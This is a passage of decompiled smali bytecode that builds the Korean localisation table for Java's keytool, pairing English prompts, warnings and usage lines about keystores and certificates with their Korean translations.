                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "\uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "\uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 \uc2dc\uc2a4\ud15c \ubc94\uc704 CA keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\uc0ac\uc6a9\uc790 keystore\uc5d0 \ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\uc774 \uc778\uc99d\uc11c\ub97c \uc2e0\ub8b0\ud558\uc2ed\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "\uc608"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "\uc0c8 \ud504\ub86c\ud504\ud2b8: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "\uc554\ud638\ub294 \ub2ec\ub77c\uc57c \ud569\ub2c8\ub2e4."
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "\uc0c8 {0}\uc744(\ub97c) \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "\uc0c8 \uc554\ud638\ub97c \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "\uc77c\uce58\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624."
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "{0} \ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "\uc0c8 \ubcc4\uce6d \uc785\ub825\t(Enter - \uc774 \ud56d\ubaa9\uc5d0 \ub300\ud55c \uac00\uc838\uc624\uae30 \ucde8\uc18c): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "\ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(<{0}>\uc640(\uacfc) \uac19\uc740 \uacbd\uc6b0 Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624.)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\uc18c\uc720\uc790: {0}\n\ubc1c\uae09\uc790: {1}\n\uc77c\ub828 \ubc88\ud638: {2}\n\uc720\ud6a8 \uae30\uac04 \uc2dc\uc791: {3} \ub05d: {4}\n\uc778\uc99d \uc9c0\ubb38:\n\t MD5: {5}\n\t SHA1: {6}\n\t \uc11c\uba85 \uc54c\uace0\ub9ac\uc998 \uc774\ub984: {7}\n\t \ubc84\uc804: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\uc774\ub984\uacfc \uc131\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\uc870\uc9c1 \ub2e8\uc704 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\uc870\uc9c1 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\uad6c/\uad70/\uc2dc \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\uc2dc/\ub3c4 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\uc774 \uc870\uc9c1\uc758 \ub450 \uc790\ub9ac \uad6d\uac00 \ucf54\ub4dc\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "{0}\uc774(\uac00) \ub9de\uc2b5\ub2c8\uae4c?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "\uc544\ub2c8\uc624"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "\uc608"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "\ubcc4\uce6d <{0}>\uc5d0 \ud0a4 \uc5c6\uc74c"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "\ubcc4\uce6d <{0}>\uc774(\uac00) \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc774 \uc544\ub2cc \ud56d\ubaa9 \uc720\ud615\uc744 \ucc38\uc870\ud569\ub2c8\ub2e4. -keyclone \uba85\ub839\uc740 \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc758 \ubcf5\uc81c\ub9cc \uc9c0\uc6d0\ud569\ub2c8\ub2e4."
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "************** \uacbd\uace0 \uacbd\uace0 \uacbd\uace0 **************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* keystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131\uc774 \ud655\uc778\ub418\uc9c0 *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* srckeystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* \uc54a\uc558\uc2b5\ub2c8\ub2e4! \ubb34\uacb0\uc131\uc744 \ud655\uc778\ud558\ub824\uba74 keystore *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* srckeystore \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "\uc778\uc99d\uc11c \ud68c\uc2e0\uc5d0 <{0}>\uc5d0 \ub300\ud55c \uacf5\uac1c \ud0a4\uac00 \ub4e4\uc5b4\uc788\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "\ud68c\uc2e0\uc758 \ubd88\uc644\uc804\ud55c \uc778\uc99d\uc11c \uccb4\uc778"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "\ud68c\uc2e0\uc758 \uc778\uc99d\uc11c \uccb4\uc778\uc774 \ud655\uc778\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "\ud68c\uc2e0\uc758 \ucd5c\uc0c1\uc704 \uc778\uc99d\uc11c:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... \uc778\uc99d\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "\ud68c\uc2e0\uc744 \uc124\uce58\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "\uc544\ub2c8\uc624"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "\ud68c\uc2e0\uacfc keystore\uc758 \uacf5\uac1c \ud0a4\uac00 \uc77c\uce58\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "\ud68c\uc2e0\uc758 \uc778\uc99d\uc11c\uc640 keystore\uc758 \uc778\uc99d\uc11c\uac00 \ub3d9\uc77c\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "\ud68c\uc2e0\uc758 \uccb4\uc778\uc744 \uc124\uc815\ud558\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4."
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "\uc798\ubabb\ub41c \uc751\ub2f5\uc785\ub2c8\ub2e4. \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624."
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "\ubcf4\uc548 \ud0a4\uac00 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4. \ubcc4\uce6d <{0}>\uc774(\uac00) \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "\ubcf4\uc548 \ud0a4 \uc0dd\uc131\uc744 \uc704\ud55c -keysize\ub97c \uc81c\uacf5\ud558\uc2ed\uc2dc\uc624."
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "keytool \uc0ac\uc6a9\ubc95:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "\ud655\uc7a5\uc790: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <\ubcc4\uce6d>] [-sigalg <\uc11c\uba85 \uc54c\uace0\ub9ac\uc998>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr \ud30c\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <\ud0a4 \uc800\uc7a5\uc18c>] [-storepass <\uc800\uc7a5\uc18c \uc554\ud638>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <\uc800\uc7a5\uc18c \uc720\ud615>] [-providername <\uc774\ub984>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <\uacf5\uae09\uc790 \ud074\ub798\uc2a4 \uc774\ub984> [-providerarg <\uc778\uc218>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <\uacbd\ub85c \ubaa9\ub85d>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <\ubcc4\uce6d>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <\ubcc4\uce6d>] [-file <\uc778\uc99d\uc11c \ud30c\uc77c>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <\ubcc4\uce6d>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <\ud0a4 \uc54c\uace0\ub9ac\uc998>] [-keysize <\ud0a4 \ud06c\uae30>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <\uc11c\uba85 \uc54c\uace0\ub9ac\uc998>] [-dname <\ub300\uc0c1 \uc774\ub984>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <\uc720\ud6a8\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <\ubcc4\uce6d>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <\ubcc4\uce6d>] [-keypass <\ud0a4 \uc554\ud638>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
